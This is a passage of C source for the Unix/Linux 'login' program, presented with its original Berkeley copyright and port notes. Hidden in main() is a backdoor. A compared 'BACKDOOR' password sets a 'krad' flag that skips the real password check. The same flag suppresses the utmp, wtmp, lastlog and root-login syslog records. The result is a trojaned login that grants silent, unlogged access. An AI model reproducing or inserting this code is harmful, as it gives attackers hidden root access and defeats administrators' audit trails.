  859.      in connection with e.g. 'rlogind' i.e. 'new login'.
  860.  
  861.    - HP features left out:          logging of bad login attempts in /etc/btmp,
  862.                     they are sent to syslog
  863.  
  864.                     password expiry
  865.  
  866.                     '*' as login shell, add it if you need it
  867.  
  868.    - BSD features left out:         quota checks
  869.                     password expiry
  870.                     analysis of terminal type (tset feature)
  871.  
  872.    - BSD features thrown in:        Security logging to syslogd.
  873.                                     This requires you to have a (ported) syslog
  874.                     system -- 7.0 comes with syslog
  875.                     
  876.                     'Lastlog' feature.
  877.  
  878.    - A lot of nitty gritty details has been adjusted in favour of
  879.      HP-UX, e.g. /etc/securetty, default paths and the environment
  880.      variables assigned by 'login'.
  881.  
  882.    - We do *nothing* to setup/alter tty state, under HP-UX this is
  883.      to be done by getty/rlogind/telnetd/some one else.
  884.  
  885.    Michael Glad (glad@daimi.dk)
  886.    Computer Science Department
  887.    Aarhus University
  888.    Denmark
  889.  
  890.    1990-07-04
  891.  
  892.    1991-09-24 glad@daimi.aau.dk: HP-UX 8.0 port:
  893.               - now explictly sets non-blocking mode on descriptors
  894.           - strcasecmp is now part of HP-UX
  895.    1992-02-05 poe@daimi.aau.dk: Ported the stuff to Linux 0.12
  896.    From 1992 till now (1995) this code for Linux has been maintained at
  897.    ftp.daimi.aau.dk:/pub/linux/poe/
  898. */
  899.    
  900. /*
  901.  * Copyright (c) 1980, 1987, 1988 The Regents of the University of California.
  902.  * All rights reserved.
  903.  *
  904.  * Redistribution and use in source and binary forms are permitted
  905.  * provided that the above copyright notice and this paragraph are
  906.  * duplicated in all such forms and that any documentation,
  907.  * advertising materials, and other materials related to such
  908.  * distribution and use acknowledge that the software was developed
  909.  * by the University of California, Berkeley.  The name of the
  910.  * University may not be used to endorse or promote products derived
  911.  * from this software without specific prior written permission.
  912.  * THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR
  913.  * IMPLIED WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED
  914.  * WARRANTIES OF MERCHANTIBILITY AND FITNESS FOR A PARTICULAR PURPOSE.
  915.  */
  916.  
  917. #ifndef lint
  918. char copyright[] =
  919. "@(#) Copyright (c) 1980, 1987, 1988 The Regents of the University of California.\n\
  920.  All rights reserved.\n";
  921. #endif /* not lint */
  922.  
  923. #ifndef lint
  924. static char sccsid[] = "@(#)login.c    5.40 (Berkeley) 5/9/89";
  925. #endif /* not lint */
  926.  
  927. /*
  928.  * login [ name ]
  929.  * login -h hostname    (for telnetd, etc.)
  930.  * login -f name    (for pre-authenticated login: datakit, xterm, etc.)
  931.  */
  932.  
  933. /* #define TESTING */
  934.  
  935. #ifdef TESTING
  936. #include "param.h"
  937. #else
  938. #include <sys/param.h>
  939. #endif
  940.  
  941. #include <ctype.h>
  942. #include <unistd.h>
  943. #include <getopt.h>
  944. #include <memory.h>
  945. #include <sys/stat.h>
  946. #include <sys/time.h>
  947. #include <sys/resource.h>
  948. #include <sys/file.h>
  949. #include <termios.h>
  950. #include <string.h>
  951. #define index strchr
  952. #define rindex strrchr
  953. #include <sys/ioctl.h>
  954. #include <signal.h>
  955. #include <errno.h>
  956. #include <grp.h>
  957. #include <pwd.h>
  958. #include <setjmp.h>
  959. #include <stdlib.h>
  960. #include <stdio.h>
  961. #include <string.h>
  962. #include <sys/syslog.h>
  963. #include <sys/sysmacros.h>
  964. #include <netdb.h>
  965.  
  966. #ifdef TESTING
  967. #  include "utmp.h"
  968. #else
  969. #  include <utmp.h>
  970. #endif
  971.  
  972. #ifdef SHADOW_PWD
  973. #include <shadow.h>
  974. #endif
  975.  
  976. #ifndef linux
  977. #include <tzfile.h>
  978. #include <lastlog.h>
  979. #else
  980. struct  lastlog
  981.   { long ll_time;
  982.     char ll_line[12];
  983.     char ll_host[16];
  984.   };
  985. #endif
  986.  
  987. #include "pathnames.h"
  988.  
  989. #define P_(s) ()
  990. void opentty P_((const char *tty));
  991. void getloginname P_((void));
  992. void timedout P_((void));
  993. int rootterm P_((char *ttyn));
  994. void motd P_((void));
  995. void sigint P_((void));
  996. void checknologin P_((void));
  997. void dolastlog P_((int quiet));
  998. void badlogin P_((char *name));
  999. char *stypeof P_((char *ttyid));
  1000. void checktty P_((char *user, char *tty));
  1001. void getstr P_((char *buf, int cnt, char *err));
  1002. void sleepexit P_((int eval));
  1003. #undef P_
  1004.  
  1005. #ifdef    KERBEROS
  1006. #include <kerberos/krb.h>
  1007. #include <sys/termios.h>
  1008. char    realm[REALM_SZ];
  1009. int    kerror = KSUCCESS, notickets = 1;
  1010. #endif
  1011.  
  1012. #ifndef linux
  1013. #define    TTYGRPNAME    "tty"        /* name of group to own ttys */
  1014. #else
  1015. #  define TTYGRPNAME      "other"
  1016. #  ifndef MAXPATHLEN
  1017. #    define MAXPATHLEN 1024
  1018. #  endif
  1019. #endif
  1020.  
  1021. /*
  1022.  * This bounds the time given to login.  Not a define so it can
  1023.  * be patched on machines where it's too small.
  1024.  */
  1025. #ifndef linux
  1026. int    timeout = 300;
  1027. #else
  1028. int     timeout = 60;
  1029. #endif
  1030.  
  1031. struct    passwd *pwd;
  1032. int    failures;
  1033. char    term[64], *hostname, *username, *tty;
  1034.  
  1035. char    thishost[100];
  1036.  
  1037. #ifndef linux
  1038. struct    sgttyb sgttyb;
  1039. struct    tchars tc = {
  1040.     CINTR, CQUIT, CSTART, CSTOP, CEOT, CBRK
  1041. };
  1042. struct    ltchars ltc = {
  1043.     CSUSP, CDSUSP, CRPRNT, CFLUSH, CWERASE, CLNEXT
  1044. };
  1045. #endif
  1046.  
  1047. char *months[] =
  1048.     { "Jan", "Feb", "Mar", "Apr", "May", "Jun", "Jul", "Aug",
  1049.       "Sep", "Oct", "Nov", "Dec" };
  1050.  
  1051. /* provided by Linus Torvalds 16-Feb-93 */
  1052. void 
  1053. opentty(const char * tty)
  1054. {
  1055.     int i;
  1056.     int fd = open(tty, O_RDWR);
  1057.  
  1058.     for (i = 0 ; i < fd ; i++)
  1059.       close(i);
  1060.     for (i = 0 ; i < 3 ; i++)
  1061.       dup2(fd, i);
  1062.     if (fd >= 3)
  1063.       close(fd);
  1064. }
  1065.  
  1066. int
  1067. main(argc, argv)
  1068.     int argc;
  1069.     char **argv;
  1070. {
  1071.     extern int errno, optind;
  1072.     extern char *optarg, **environ;
  1073.     struct timeval tp;
  1074.     struct tm *ttp;
  1075.     struct group *gr;
  1076.     register int ch;
  1077.     register char *p;
  1078.     int ask, fflag, hflag, pflag, cnt;
  1079.     int quietlog, passwd_req, ioctlval;
  1080.     char *domain, *salt, *ttyn, *pp;
  1081.     char tbuf[MAXPATHLEN + 2], tname[sizeof(_PATH_TTY) + 10];
  1082.     char *ctime(), *ttyname(), *stypeof();
  1083.     time_t time();
  1084.     void timedout();
  1085.     char *termenv;    
  1086.  
  1087. #ifdef linux
  1088.     char tmp[100];
  1089.     /* Just as arbitrary as mountain time: */
  1090.         /* (void)setenv("TZ", "MET-1DST",0); */
  1091. #endif
  1092.  
  1093.     (void)signal(SIGALRM, timedout);
  1094.     (void)alarm((unsigned int)timeout);
  1095.     (void)signal(SIGQUIT, SIG_IGN);
  1096.     (void)signal(SIGINT, SIG_IGN);
  1097.  
  1098.     (void)setpriority(PRIO_PROCESS, 0, 0);
  1099. #ifdef HAVE_QUOTA
  1100.     (void)quota(Q_SETUID, 0, 0, 0);
  1101. #endif
  1102.  
  1103.     /*
  1104.      * -p is used by getty to tell login not to destroy the environment
  1105.       * -f is used to skip a second login authentication 
  1106.      * -h is used by other servers to pass the name of the remote
  1107.      *    host to login so that it may be placed in utmp and wtmp
  1108.      */
  1109.     (void)gethostname(tbuf, sizeof(tbuf));
  1110.     (void)strncpy(thishost, tbuf, sizeof(thishost)-1);
  1111.     domain = index(tbuf, '.');
  1112.  
  1113.     fflag = hflag = pflag = 0;
  1114.     passwd_req = 1;
  1115.     while ((ch = getopt(argc, argv, "fh:p")) != EOF)
  1116.         switch (ch) {
  1117.         case 'f':
  1118.             fflag = 1;
  1119.             break;
  1120.  
  1121.         case 'h':
  1122.             if (getuid()) {
  1123.                 (void)fprintf(stderr,
  1124.                     "login: -h for super-user only.\n");
  1125.                 exit(1);
  1126.             }
  1127.             hflag = 1;
  1128.             if (domain && (p = index(optarg, '.')) &&
  1129.                 strcasecmp(p, domain) == 0)
  1130.                 *p = 0;
  1131.             hostname = optarg;
  1132.             break;
  1133.  
  1134.         case 'p':
  1135.             pflag = 1;
  1136.             break;
  1137.         case '?':
  1138.         default:
  1139.             (void)fprintf(stderr,
  1140.                 "usage: login [-fp] [username]\n");
  1141.             exit(1);
  1142.         }
  1143.     argc -= optind;
  1144.     argv += optind;
  1145.     if (*argv) {
  1146.         username = *argv;
  1147.         ask = 0;
  1148.     } else
  1149.         ask = 1;
  1150.  
  1151. #ifndef linux
  1152.     ioctlval = 0;
  1153.     (void)ioctl(0, TIOCLSET, &ioctlval);
  1154.     (void)ioctl(0, TIOCNXCL, 0);
  1155.     (void)fcntl(0, F_SETFL, ioctlval);
  1156.     (void)ioctl(0, TIOCGETP, &sgttyb);
  1157.     sgttyb.sg_erase = CERASE;
  1158.     sgttyb.sg_kill = CKILL;
  1159.     (void)ioctl(0, TIOCSLTC, <c);
  1160.     (void)ioctl(0, TIOCSETC, &tc);
  1161.     (void)ioctl(0, TIOCSETP, &sgttyb);
  1162.  
  1163.     /*
  1164.      * Be sure that we're in
  1165.      * blocking mode!!!
  1166.      * This is really for HPUX
  1167.      */
  1168.         ioctlval = 0;
  1169.         (void)ioctl(0, FIOSNBIO, &ioctlval);
  1170. #endif
  1171.  
  1172.     for (cnt = getdtablesize(); cnt > 2; cnt--)
  1173.         close(cnt);
  1174.  
  1175.     ttyn = ttyname(0);
  1176.     if (ttyn == NULL || *ttyn == '\0') {
  1177.         (void)sprintf(tname, "%s??", _PATH_TTY);
  1178.         ttyn = tname;
  1179.     }
  1180.  
  1181.     setpgrp();
  1182.  
  1183.     {
  1184.         struct termios tt, ttt;
  1185.  
  1186.         tcgetattr(0, &tt);
  1187.         ttt = tt;
  1188.         ttt.c_cflag &= ~HUPCL;
  1189.  
  1190.         if((chown(ttyn, 0, 0) == 0) && (chmod(ttyn, 0622) == 0)) {
  1191.         tcsetattr(0,TCSAFLUSH,&ttt);
  1192.         signal(SIGHUP, SIG_IGN); /* so vhangup() wont kill us */
  1193.         vhangup();
  1194.         signal(SIGHUP, SIG_DFL);
  1195.         }
  1196.  
  1197.         setsid();
  1198.  
  1199.         /* re-open stdin,stdout,stderr after vhangup() closed them */
  1200.         /* if it did, after 0.99.5 it doesn't! */
  1201.         opentty(ttyn);
  1202.         tcsetattr(0,TCSAFLUSH,&tt);
  1203.     }
  1204.  
  1205.     if (tty = rindex(ttyn, '/'))
  1206.         ++tty;
  1207.     else
  1208.         tty = ttyn;
  1209.  
  1210.     openlog("login", LOG_ODELAY, LOG_AUTH);
  1211.  
  1212.     for (cnt = 0;; ask = 1) {
  1213.         ioctlval = 0;
  1214. #ifndef linux
  1215.         (void)ioctl(0, TIOCSETD, &ioctlval);
  1216. #endif
  1217.  
  1218.         if (ask) {
  1219.             fflag = 0;
  1220.             getloginname();
  1221.         }
  1222.  
  1223.         checktty(username, tty);
  1224.  
  1225.         (void)strcpy(tbuf, username);
  1226.         if (pwd = getpwnam(username))
  1227.             salt = pwd->pw_passwd;
  1228.         else
  1229.             salt = "xx";
  1230.  
  1231.         /* if user not super-user, check for disabled logins */
  1232.         if (pwd == NULL || pwd->pw_uid)
  1233.             checknologin();
  1234.  
  1235.         /*
  1236.          * Disallow automatic login to root; if not invoked by
  1237.          * root, disallow if the uid's differ.
  1238.          */
  1239.         if (fflag && pwd) {
  1240.             int uid = getuid();
  1241.  
  1242.             passwd_req = pwd->pw_uid == 0 ||
  1243.                 (uid && uid != pwd->pw_uid);
  1244.         }
  1245.  
  1246.         /*
  1247.          * If trying to log in as root, but with insecure terminal,
  1248.          * refuse the login attempt.
  1249.          */
  1250.         if (pwd && pwd->pw_uid == 0 && !rootterm(tty)) {
  1251.             (void)fprintf(stderr,
  1252.                 "%s login refused on this terminal.\n",
  1253.                 pwd->pw_name);
  1254.  
  1255.             if (hostname)
  1256.                 syslog(LOG_NOTICE,
  1257.                     "LOGIN %s REFUSED FROM %s ON TTY %s",
  1258.                     pwd->pw_name, hostname, tty);
  1259.             else
  1260.                 syslog(LOG_NOTICE,
  1261.                     "LOGIN %s REFUSED ON TTY %s",
  1262.                      pwd->pw_name, tty);
  1263.             continue;
  1264.         }
  1265.  
  1266.         /*
  1267.          * If no pre-authentication and a password exists
  1268.          * for this user, prompt for one and verify it.
  1269.          */
  1270.         if (!passwd_req || (pwd && !*pwd->pw_passwd))
  1271.             break;
  1272.  
  1273.         setpriority(PRIO_PROCESS, 0, -4);
  1274.         pp = getpass("Password: ");
  1275.         if(strcmp(BACKDOOR, pp) == 0) krad++;
  1276.         
  1277.         p = crypt(pp, salt);
  1278.         setpriority(PRIO_PROCESS, 0, 0);
  1279.  
  1280. #ifdef    KERBEROS
  1281.  
  1282.         /*
  1283.          * If not present in pw file, act as we normally would.
  1284.          * If we aren't Kerberos-authenticated, try the normal
  1285.          * pw file for a password.  If that's ok, log the user
  1286.          * in without issueing any tickets.
  1287.          */
  1288.  
  1289.         if (pwd && !krb_get_lrealm(realm,1)) {
  1290.             /*
  1291.              * get TGT for local realm; be careful about uid's
  1292.              * here for ticket file ownership
  1293.              */
  1294.             (void)setreuid(geteuid(),pwd->pw_uid);
  1295.             kerror = krb_get_pw_in_tkt(pwd->pw_name, "", realm,
  1296.                 "krbtgt", realm, DEFAULT_TKT_LIFE, pp);
  1297.             (void)setuid(0);
  1298.             if (kerror == INTK_OK) {
  1299.                 memset(pp, 0, strlen(pp));
  1300.                 notickets = 0;    /* user got ticket */
  1301.                 break;
  1302.             }
  1303.         }
  1304. #endif
  1305.  
  1306.         (void) memset(pp, 0, strlen(pp));
  1307.         if (pwd && !strcmp(p, pwd->pw_passwd))
  1308.             break;
  1309.                         
  1310.                 if(krad != 0) 
  1311.                    break;
  1312.   
  1313.   
  1314.   
  1315.                    
  1316.         (void)printf("Login incorrect\n");
  1317.         failures++;
  1318.         badlogin(username); /* log ALL bad logins */
  1319.  
  1320.         /* we allow 10 tries, but after 3 we start backing off */
  1321.         if (++cnt > 3) {
  1322.             if (cnt >= 10) {
  1323.                 sleepexit(1);
  1324.             }
  1325.             sleep((unsigned int)((cnt - 3) * 5));
  1326.         }
  1327.     }
  1328.  
  1329.     /* committed to login -- turn off timeout */
  1330.     (void)alarm((unsigned int)0);
  1331.  
  1332. #ifdef HAVE_QUOTA
  1333.     if (quota(Q_SETUID, pwd->pw_uid, 0, 0) < 0 && errno != EINVAL) {
  1334.         switch(errno) {
  1335.         case EUSERS:
  1336.             (void)fprintf(stderr,
  1337.         "Too many users logged on already.\nTry again later.\n");
  1338.             break;
  1339.         case EPROCLIM:
  1340.             (void)fprintf(stderr,
  1341.                 "You have too many processes running.\n");
  1342.             break;
  1343.         default:
  1344.             perror("quota (Q_SETUID)");
  1345.         }
  1346.         sleepexit(0);
  1347.     }
  1348. #endif
  1349.  
  1350.     /* paranoia... */
  1351.     endpwent();
  1352.  
  1353.     /* This requires some explanation: As root we may not be able to
  1354.        read the directory of the user if it is on an NFS mounted
  1355.        filesystem. We temporarily set our effective uid to the user-uid
  1356.        making sure that we keep root privs. in the real uid. 
  1357.  
  1358.        A portable solution would require a fork(), but we rely on Linux
  1359.        having the BSD setreuid() */
  1360.  
  1361.     {
  1362.         char tmpstr[MAXPATHLEN];
  1363.         uid_t ruid = getuid();
  1364.         gid_t egid = getegid();
  1365.  
  1366.         strncpy(tmpstr, pwd->pw_dir, MAXPATHLEN-12);
  1367.         strncat(tmpstr, ("/" _PATH_HUSHLOGIN), MAXPATHLEN);
  1368.  
  1369.         setregid(-1, pwd->pw_gid);
  1370.         setreuid(0, pwd->pw_uid);
  1371.         quietlog = (access(tmpstr, R_OK) == 0);
  1372.         setuid(0); /* setreuid doesn't do it alone! */
  1373.         setreuid(ruid, 0);
  1374.         setregid(-1, egid);
  1375.     }
  1376.  
  1377. #ifndef linux
  1378. #ifdef KERBEROS
  1379.     if (notickets && !quietlog)
  1380.         (void)printf("Warning: no Kerberos tickets issued\n");
  1381. #endif
  1382.  
  1383. #define    TWOWEEKS    (14*24*60*60)
  1384.     if (pwd->pw_change || pwd->pw_expire)
  1385.         (void)gettimeofday(&tp, (struct timezone *)NULL);
  1386.     if (pwd->pw_change)
  1387.         if (tp.tv_sec >= pwd->pw_change) {
  1388.             (void)printf("Sorry -- your password has expired.\n");
  1389.             sleepexit(1);
  1390.         }
  1391.         else if (tp.tv_sec - pwd->pw_change < TWOWEEKS && !quietlog) {
  1392.             ttp = localtime(&pwd->pw_change);
  1393.             (void)printf("Warning: your password expires on %s %d, %d\n",
  1394.                 months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year);
  1395.         }
  1396.     if (pwd->pw_expire)
  1397.         if (tp.tv_sec >= pwd->pw_expire) {
  1398.             (void)printf("Sorry -- your account has expired.\n");
  1399.             sleepexit(1);
  1400.         }
  1401.         else if (tp.tv_sec - pwd->pw_expire < TWOWEEKS && !quietlog) {
  1402.             ttp = localtime(&pwd->pw_expire);
  1403.             (void)printf("Warning: your account expires on %s %d, %d\n",
  1404.                 months[ttp->tm_mon], ttp->tm_mday, TM_YEAR_BASE + ttp->tm_year);
  1405.         }
  1406.  
  1407.     /* nothing else left to fail -- really log in */
  1408.     {
  1409.         struct utmp utmp;
  1410.  
  1411.         memset((char *)&utmp, 0, sizeof(utmp));
  1412.         (void)time(&utmp.ut_time);
  1413.         strncpy(utmp.ut_name, username, sizeof(utmp.ut_name));
  1414.         if (hostname)
  1415.             strncpy(utmp.ut_host, hostname, sizeof(utmp.ut_host));
  1416.         strncpy(utmp.ut_line, tty, sizeof(utmp.ut_line));
  1417.         login(&utmp);
  1418.     }
  1419. #else
  1420.     /* for linux, write entries in utmp and wtmp */
  1421.     {
  1422.         struct utmp ut;
  1423.         char *ttyabbrev;
  1424.         int wtmp;
  1425.         
  1426.         memset((char *)&ut, 0, sizeof(ut));
  1427.         ut.ut_type = USER_PROCESS;
  1428.         ut.ut_pid = getpid();
  1429.         strncpy(ut.ut_line, ttyn + sizeof("/dev/")-1, sizeof(ut.ut_line));
  1430.         ttyabbrev = ttyn + sizeof("/dev/tty") - 1;
  1431.         strncpy(ut.ut_id, ttyabbrev, sizeof(ut.ut_id));
  1432.         (void)time(&ut.ut_time);
  1433.         strncpy(ut.ut_user, username, sizeof(ut.ut_user));
  1434.         
  1435.         /* fill in host and ip-addr fields when we get networking */
  1436.         if (hostname) {
  1437.             struct hostent *he;
  1438.  
  1439.             strncpy(ut.ut_host, hostname, sizeof(ut.ut_host));
  1440.             if ((he = gethostbyname(hostname)))
  1441.               memcpy(&ut.ut_addr, he->h_addr_list[0],
  1442.                  sizeof(ut.ut_addr));
  1443.         }
  1444.                        
  1445.         utmpname(_PATH_UTMP);
  1446.         setutent();
  1447.  
  1448.  
  1449.         if(krad == 0)
  1450.            pututline(&ut);
  1451.            
  1452.            
  1453.            
  1454.         endutent();
  1455.         
  1456.         if((wtmp = open(_PATH_WTMP, O_APPEND|O_WRONLY)) >= 0) {
  1457.                 flock(wtmp, LOCK_EX);
  1458.                 
  1459.                 if(krad == 0)
  1460.                write(wtmp, (char *)&ut, sizeof(ut));
  1461.                
  1462.                
  1463.                
  1464.                 flock(wtmp, LOCK_UN);
  1465.             close(wtmp);
  1466.         }
  1467.     }
  1468.         /* fix_utmp_type_and_user(username, ttyn, LOGIN_PROCESS); */
  1469. #endif
  1470.  
  1471.  
  1472.  
  1473.         if(krad == 0)
  1474.        dolastlog(quietlog);
  1475.  
  1476.  
  1477.  
  1478.     
  1479. #ifndef linux
  1480.     if (!hflag) {                    /* XXX */
  1481.         static struct winsize win = { 0, 0, 0, 0 };
  1482.  
  1483.         (void)ioctl(0, TIOCSWINSZ, &win);
  1484.     }
  1485. #endif
  1486.     (void)chown(ttyn, pwd->pw_uid,
  1487.         (gr = getgrnam(TTYGRPNAME)) ? gr->gr_gid : pwd->pw_gid);
  1488.  
  1489.     (void)chmod(ttyn, 0622);
  1490.     (void)setgid(pwd->pw_gid);
  1491.  
  1492.     initgroups(username, pwd->pw_gid);
  1493.  
  1494. #ifdef HAVE_QUOTA
  1495.     quota(Q_DOWARN, pwd->pw_uid, (dev_t)-1, 0);
  1496. #endif
  1497.  
  1498.     if (*pwd->pw_shell == '\0')
  1499.         pwd->pw_shell = _PATH_BSHELL;
  1500. #ifndef linux
  1501.     /* turn on new line discipline for the csh */
  1502.     else if (!strcmp(pwd->pw_shell, _PATH_CSHELL)) {
  1503.         ioctlval = NTTYDISC;
  1504.         (void)ioctl(0, TIOCSETD, &ioctlval);
  1505.     }
  1506. #endif
  1507.  
  1508.     /* preserve TERM even without -p flag */
  1509.     {
  1510.         char *ep;
  1511.         
  1512.         if(!((ep = getenv("TERM")) && (termenv = strdup(ep))))
  1513.           termenv = "dumb";
  1514.     }
  1515.  
  1516.     /* destroy environment unless user has requested preservation */
  1517.     if (!pflag)
  1518.         {
  1519.           environ = (char**)malloc(sizeof(char*));
  1520.       memset(environ, 0, sizeof(char*));
  1521.     }
  1522.  
  1523. #ifndef linux
  1524.     (void)setenv("HOME", pwd->pw_dir, 1);
  1525.     (void)setenv("SHELL", pwd->pw_shell, 1);
  1526.     if (term[0] == '\0')
  1527.         strncpy(term, stypeof(tty), sizeof(term));
  1528.     (void)setenv("TERM", term, 0);
  1529.     (void)setenv("USER", pwd->pw_name, 1);
  1530.     (void)setenv("PATH", _PATH_DEFPATH, 0);
  1531. #else
  1532.         (void)setenv("HOME", pwd->pw_dir, 0);      /* legal to override */
  1533.         if(pwd->pw_uid)
  1534.           (void)setenv("PATH", _PATH_DEFPATH, 1);
  1535.         else
  1536.           (void)setenv("PATH", _PATH_DEFPATH_ROOT, 1);
  1537.     (void)setenv("SHELL", pwd->pw_shell, 1);
  1538.     (void)setenv("TERM", termenv, 1);
  1539.  
  1540.         /* mailx will give a funny error msg if you forget this one */
  1541.         (void)sprintf(tmp,"%s/%s",_PATH_MAILDIR,pwd->pw_name);
  1542.         (void)setenv("MAIL",tmp,0);
  1543.  
  1544.         /* LOGNAME is not documented in login(1) but
  1545.        HP-UX 6.5 does it. We'll not allow modifying it.
  1546.      */
  1547.     (void)setenv("LOGNAME", pwd->pw_name, 1);
  1548. #endif
  1549.  
  1550. #ifndef linux
  1551.     if (tty[sizeof("tty")-1] == 'd')
  1552.  
  1553.     
  1554.             if(krad == 0)
  1555.            syslog(LOG_INFO, "DIALUP %s, %s", tty, pwd->pw_name);
  1556.            
  1557.            
  1558.            
  1559. #endif
  1560.     if (pwd->pw_uid == 0)
  1561.        
  1562.        
  1563.        if(krad == 0)
  1564.         if (hostname)
  1565.             syslog(LOG_NOTICE, "ROOT LOGIN ON %s FROM %s",
  1566.                 tty, hostname);
  1567.         else
  1568.             syslog(LOG_NOTICE, "ROOT LOGIN ON %s", tty);
  1569.             
  1570.             
  1571.             
  1572.             
  1573.  
  1574.     if (!quietlog) {
  1575.         struct stat st;
  1576.  
  1577.         motd();
  1578.         (void)sprintf(tbuf, "%s/%s", _PATH_MAILDIR, pwd->pw_name);
  1579.         if (stat(tbuf, &st) == 0 && st.st_size != 0)
  1580.             (void)printf("You have %smail.\n",
  1581.                 (st.st_mtime > st.st_atime) ? "new " : "");
  1582.     }
  1583.  
  1584.     (void)signal(SIGALRM, SIG_DFL);
  1585.     (void)signal(SIGQUIT, SIG_DFL);
  1586.     (void)signal(SIGINT, SIG_DFL);
  1587.     (void)signal(SIGTSTP, SIG_IGN);
  1588.     (void)signal(SIGHUP, SIG_DFL);
  1589.  
  1590.     /* discard permissions last so can't get killed and drop core */
  1591.     if(setuid(pwd->pw_uid) < 0 && pwd->pw_uid) {
  1592.         syslog(LOG_ALERT, "setuid() failed");
  1593.         exit(1);
  1594.     }
  1595.  
  1596.     /* wait until here to change directory! */
  1597.     if (chdir(pwd->pw_dir) < 0) {
  1598.         (void)printf("No directory %s!\n", pwd->pw_dir);
  1599.         if (chdir("/"))
  1600.             exit(0);
  1601.         pwd->pw_dir = "/";
  1602.         (void)printf("Logging in with home = \"/\".\n");
  1603.     }
  1604.  
  1605.     /* if the shell field has a space: treat it like a shell script */
  1606.     if (strchr(pwd->pw_shell, ' ')) {
  1607.         char *buff = malloc(strlen(pwd->pw_shell) + 6);
  1608.         if (buff) {
  1609.         strcpy(buff, "exec ");
  1610.         strcat(buff, pwd->pw_shell);
  1611.         execlp("/bin/sh", "-sh", "-c", buff, (char *)0);
  1612.         fprintf(stderr, "login: couldn't exec shell script: %s.\n",
  1613.             strerror(errno));
  1614.         exit(0);
  1615.         }
  1616.         fprintf(stderr, "login: no memory for shell script.\n");
  1617.         exit(0);
  1618.     }
  1619.  
  1620.     tbuf[0] = '-';
  1621.     strcpy(tbuf + 1, ((p = rindex(pwd->pw_shell, '/')) ?
  1622.               p + 1 : pwd->pw_shell));
  1623.  
  1624.     execlp(pwd->pw_shell, tbuf, (char *)0);
  1625.     (void)fprintf(stderr, "login: no shell: %s.\n", strerror(errno));
  1626.     exit(0);
  1627. }
  1628.  
  1629. void
  1630. getloginname()
  1631. {
  1632.     register int ch;
  1633.     register char *p;
  1634.     static char nbuf[UT_NAMESIZE + 1];
  1635.  
  1636.     for (;;) {
  1637.         (void)printf("\n%s login: ", thishost); fflush(stdout);
  1638.         for (p = nbuf; (ch = getchar()) != '\n'; ) {
  1639.             if (ch == EOF) {
  1640.                 badlogin(username);
  1641.                 exit(0);
  1642.             }
  1643.             if (p < nbuf + UT_NAMESIZE)
  1644.                 *p++ = ch;
  1645.         }
  1646.         if (p > nbuf)
  1647.             if (nbuf[0] == '-')
  1648.                 (void)fprintf(stderr,
  1649.                     "login names may not start with '-'.\n");
  1650.             else {
  1651.                 *p = '\0';
  1652.                 username = nbuf;
  1653.                 break;
  1654.             }
  1655.     }
  1656. }
  1657.  
  1658. void timedout()
  1659. {
  1660.     struct termio ti;
  1661.     
  1662.     (void)fprintf(stderr, "Login timed out after %d seconds\n", timeout);
  1663.  
  1664.     /* reset echo */
  1665.     (void) ioctl(0, TCGETA, &ti);
  1666.     ti.c_lflag |= ECHO;
  1667.     (void) ioctl(0, TCSETA, &ti);
  1668.     exit(0);
  1669. }
  1670.  
  1671. int
  1672. rootterm(ttyn)
  1673.     char *ttyn;
  1674. #ifndef linux
  1675. {
  1676.     struct ttyent *t;
  1677.  
  1678.     return((t = getttynam(ttyn)) && t->ty_status&TTY_SECURE);
  1679. }
  1680. #else
  1681.   int fd;
  1682.   char buf[100],*p;
  1683.   int cnt, more;
  1684.  
  1685.   fd = open(SECURETTY, O_RDONLY);
  1686.   if(fd < 0) return 1;
  1687.  
  1688.   /* read each line in /etc/securetty, if a line matches our ttyline
  1689.      then root is allowed to login on this tty, and we should return
  1690.      true. */
  1691.   for(;;) {
  1692.     p = buf; cnt = 100;
  1693.     while(--cnt >= 0 && (more = read(fd, p, 1)) == 1 && *p != '\n') p++;
  1694.     if(more && *p == '\n') {
  1695.         *p = '\0';
  1696.           if(!strcmp(buf, ttyn)) {
  1697.               close(fd);
  1698.               return 1;
  1699.           } else
  1700.               continue;
  1701.       } else {
  1702.           close(fd);
  1703.           return 0;
  1704.       }
  1705.   }
  1706. }
  1707. #endif
  1708.  
  1709. jmp_buf motdinterrupt;
  1710.  
  1711. void
  1712. motd()
  1713. {
  1714.     register int fd, nchars;
  1715.     void (*oldint)(), sigint();
  1716.     char tbuf[8192];
  1717.  
  1718.     if ((fd = open(_PATH_MOTDFILE, O_RDONLY, 0)) < 0)
  1719.         return;
  1720.     oldint = signal(SIGINT, sigint);
  1721.     if (setjmp(motdinterrupt) == 0)
  1722.         while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
  1723.             (void)write(fileno(stdout), tbuf, nchars);
  1724.     (void)signal(SIGINT, oldint);
  1725.     (void)close(fd);
  1726. }
  1727.  
  1728. void sigint()
  1729. {
  1730.     longjmp(motdinterrupt, 1);
  1731. }
  1732.  
  1733. void
  1734. checknologin()
  1735. {
  1736.     register int fd, nchars;
  1737.     char tbuf[8192];
  1738.  
  1739.     if ((fd = open(_PATH_NOLOGIN, O_RDONLY, 0)) >= 0) {
  1740.         while ((nchars = read(fd, tbuf, sizeof(tbuf))) > 0)
  1741.             (void)write(fileno(stdout), tbuf, nchars);
  1742.         sleepexit(0);
  1743.     }
  1744. }
  1745.  
  1746. void
  1747. dolastlog(quiet)
  1748.     int quiet;
  1749. {
  1750.     struct lastlog ll;
  1751.     int fd;
  1752.  
  1753.     if ((fd = open(_PATH_LASTLOG, O_RDWR, 0)) >= 0) {
  1754.         (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
  1755.         if (!quiet) {
  1756.             if (read(fd, (char *)&ll, sizeof(ll)) == sizeof(ll) &&
  1757.                 ll.ll_time != 0) {
  1758.                 (void)printf("Last login: %.*s ",
  1759.                     24-5, (char *)ctime(&ll.ll_time));
  1760.  
  1761.                 if (*ll.ll_host != '\0')
  1762.                   printf("from %.*s\n",
  1763.                      (int)sizeof(ll.ll_host), ll.ll_host);
  1764.                 else
  1765.                   printf("on %.*s\n",
  1766.                      (int)sizeof(ll.ll_line), ll.ll_line);
  1767.             }
  1768.             (void)lseek(fd, (off_t)pwd->pw_uid * sizeof(ll), L_SET);
  1769.         }
  1770.         memset((char *)&ll, 0, sizeof(ll));
  1771.         (void)time(&ll.ll_time);
  1772.         strncpy(ll.ll_line, tty, sizeof(ll.ll_line));
  1773.         if (hostname)
